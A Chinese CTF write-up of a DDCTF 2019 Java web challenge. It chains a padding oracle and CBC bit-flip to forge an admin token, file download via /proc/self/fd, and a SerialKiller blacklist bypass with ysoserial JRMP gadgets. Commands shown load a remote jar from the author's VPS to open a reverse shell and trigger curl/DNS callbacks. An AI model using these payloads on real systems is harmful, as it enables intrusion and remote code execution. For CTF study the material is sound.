最近有好一段时间没有写blog了,并且很长时间没打CTF了,甚是怀念,然而又一次被DDCTF折磨了一周,嗯,还是JAVA题有意思,并且题目质量非常不错,故写一下解题过程以作纪念。
0x01 padding oracle & cbc翻转
点开题目之后,发现tis是
1 | 绑定Host访问: |
不管它,直接浏览器访问,但是发现是404的,好吧,那么把hosts改一下,让这个域名1
c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
解析成1
116.85.48.104
然后再次回到浏览器刷新一下,就可以发现已经可以访问了,其实背后的原理,应该就是服务器端的nginx做了虚拟host的判断。
接着,对http数据包做一下审查,嗯,可以用chrome看,也可以用burpsuite等等,我这里使用了burpsuite审查流量,可以看到大概有图中那些http请求
其中有两个api值得关注
1 | http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/account_info |
然后再看首页,写着 Try to become an administrator.
很明显就是要我们成为admin,做ctf题很关键的地方就是,我们要跟着线索走,要不然就会离真相越来越远。。。
然后关注回http请求数据,对http请求头进行了一下审计,发现其中cookie有一个token,其内容就是/api/gen_token接口返回的token,经过base64解码之后,是一串48byte的字符串,其中前16byte明文显示的是PadOracle:iv/cbc
好了,我们继续跟着线索走,根据前16byte以及首页的tis,我猜测要先成为admin,才能拿到下一步的tis,然后根据/api/account_info接口的返回值1
{"id":1,"roleAdmin":false}
我猜测,token的base64 decode后的后32byte应该就是这串json的密文,所以这一步的解题应该就是需要通过Padding Orache得到AES加密过程中每一轮的middle,然后得到原文,最后通过cbc翻转攻击修改iv,使得iv在服务端解密的时候可以解密出我们想要的内容1
{"id":1,"roleAdmin":true}
然后就是一轮Padding Orache & cbc翻转,其实0-16byte是16-32byte密文的iv,16-32byte是32-48byte的iv,那么我们先爆破16-32byte的middle,然后得到明文,再修改16-32byte的密文,因为它是32-48byte的iv,使得32-48byte的密文在服务端解密的时候能解密成1
dmin":true}
因为我们修改了16-32byte的密文,所以我们需要爆破0-16byte的middle并修改0-16byte的iv,使得在16-32byte解密之后的内容和原来一致,最后我们得到的base64的token是1
e/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF
嗯,这里贴一下大师傅padding oracle的脚本
1 | 【链接】PaddingOracleAttack分析 |
得到成为admin的token后,我们通过修改cookie的token。
再次回到首页,发现首页已经有所改变。
并且通过一个接口1
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=1.txt
下载了一个tis文件,内容为
1 | Try to hack~ |
0x02 任意(也不算任意)文件下载
在上一轮我们通过Padding Orache & cbc翻转成功变成admin之后,我们得到了一个任意文件下载的接口1
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/fileDownload?fileName=1.txt
通过把name修改为/etc/passwd发现的确存在任意文件下,但是不知何原因,好多linux固定路径的文件没办法下载。。
因为我们已经知道了系统环境为docker,那么我们是不是可以试一下下载/proc/fd/self/xxx进程文件描述符文件得到一些重要信息?由于我们并不知道当前运行的Springboot服务的jvm的进程,所以我们尝试通过遍历爆破的方式,最后找到了/proc/self/fd/15,并把下载的文件放到java反编译软件,good,可以看到所有的代码逻辑了。
通过阅读反编译的源码,我们可以看到文件下载的接口,其实对一些情况做了限制,这样也就印证了前面为何很多linux固定路径的文件下载不到。
0x03反序列化源码审计
在上一轮,我们通过遍历/proc/fd/self/xxx得到了Springboot服务的jar文件,并顺利使用反编译软件看到源码,然后我们看一下fileDownload接口这个Controller的源码以及其调用的Service层的代码,我们可以清醒的看到,其中有一个if判断是判断到文件名称包含有flag字符的都会被过滤掉
然后我们找到了一个反序列化的接口,是根据用户上传参数base64Info的数据进行反序列化
但是我们可以看到,这里用到的反序列化类是SerialKiller,其中有一个配置文件,对需要反序列化的class做了一个黑名单过滤
根据黑名单配置文件,我们可以发现,大多数的class被加入了黑名单,然后我们翻阅ysoserial,可以看到大部分的payload其实都被加入到黑名单了,怎么办呢?这时候突然想起了后来放出的tis:JRMP
前面也说过了,打ctf就是要跟着线索走,根据JRMP这个线索,发现ysoserial内的JRMPListener以及经过修改的JRMPClient的payload是没有在黑名单内的,那么很明显了,有两个常规思路去突破这个黑名单:
- 通过SerialKiller反序列化JRMPListener payload,使得服务端创建一个JRMP服务,然后我们使用JRMPClient连接这个JRMPListener服务并把序列化的payload发送到JRMPListener反序列化,而不通过受限的SerialKiller去反序列化
- 首先在公网可以访问的地方创建一个JRMPListener服务,并且这个服务被client连接后,会把序列化payload发送给client。然后我们发送JRMPClient payload到赛题服务的反序列化接口,通过SerialKiller反序列化JRMPClient payload,然后,使得服务端创建一个JRMPClient,并连接到我们公网上部署的JRMPListener服务,最后JRMPListener服务把序列化payload发送到client反序列化,而不通过受限的SerialKiller去反序列化
但由于赛题环境是docker环境,肯定是没有暴露多余的端口的,就算有,我们也不好测试到,所以思路2可以否掉了
0x04 getshell
在上一轮的分析中,我们已经确定了使用思路1去突破,所以我们需要先准备几样东西
- payload A
- vps
- ysoserial.jar
payload A:
1 | @SuppressWarnings ( { |
执行上面的java代码,生成了利用反序列化启动JRMPClient的payload,并且该JRMPClient会连接上我们公网vps的JRMPListener。
vps:
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 44444 CommonsCollections5 'curl http://xxx.ceye.io' |
把ysoserial.jar扔到vps上,并执行上面的命令。
最后我们把上面生成的payload A发送到赛题反序列化的接口,然后我们可以观察到vps上出现了连接的log输出,但是好像curl命令并没有运行成功,what???根据1.txt的文件tis,难道是命令都被干掉了?验证一下吧!
我们把ysoserial的payload修改成URLDNS,并把URL修改成自己的CEYE DNS解析服务:
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 44444 URLDNS 'http://xxx.ceye.io' |
然后payload A发送到赛题反序列化的接口,通过查看DNS解析服务,其实可以看到反序列化漏洞是存在的,但是,可能命令被限制了。
既然这样,我们写一个java的webshell去验证一下吧。
R.jar:
1 | import java.io.BufferedReader; |
然后在ysoserial加入下面这个payload:
1 | package ysoserial.payloads; |
其实这个payload的作用就是,远程load一个jar并实例化R.class,在实例化R.class的时候,会调用R的构造方法,然后我们在构造方法内创建一个指定的tcp连接,通过tcp连接实现一个webshell。
然后我们把R.jar上传到web服务,也就是可以通过url在公网下载得到,因为我们的payload需要load它,接着我们把修改后的ysoserial.jar放到vps上,并执行以下命令:
1 | java -cp ysoserial.jar ysoserial.exploit.JRMPListener 44444 CommonsCollectionsForLoadJar "http://45.123.123.123/R.jar;45.123.123.123:25678" |
再次把payload A发送到赛题反序列化的接口,然后我们可以看到,nc连接上webshell了,然后尝试执行了多个指令,发现无一例外,都被禁用了。
发现所有命令都被禁用后,那么唯有通过java去读文件了,然后对R.jar稍微做了一点修改,改成读文件的readFileShell…
R1.jar
1 | import java.io.BufferedReader; |
按照前面getshell的方式,同样一顿操作,成功连接上readFileShell,试了一下,没问题,但是这时候又出现了一个问题,flag在哪?…
再次对R1.jar做一下修改,实现了java列目录的listDirShell…
R2.jar
1 | import java.io.BufferedReader; |
按照前面getshell的方式,同样一顿操作,成功连接上listDirShell,试了一下,没问题,然后尝试了一下列/flag目录,good,终于找到flag文件了,这时候用R1.jar读取一下,成功get flag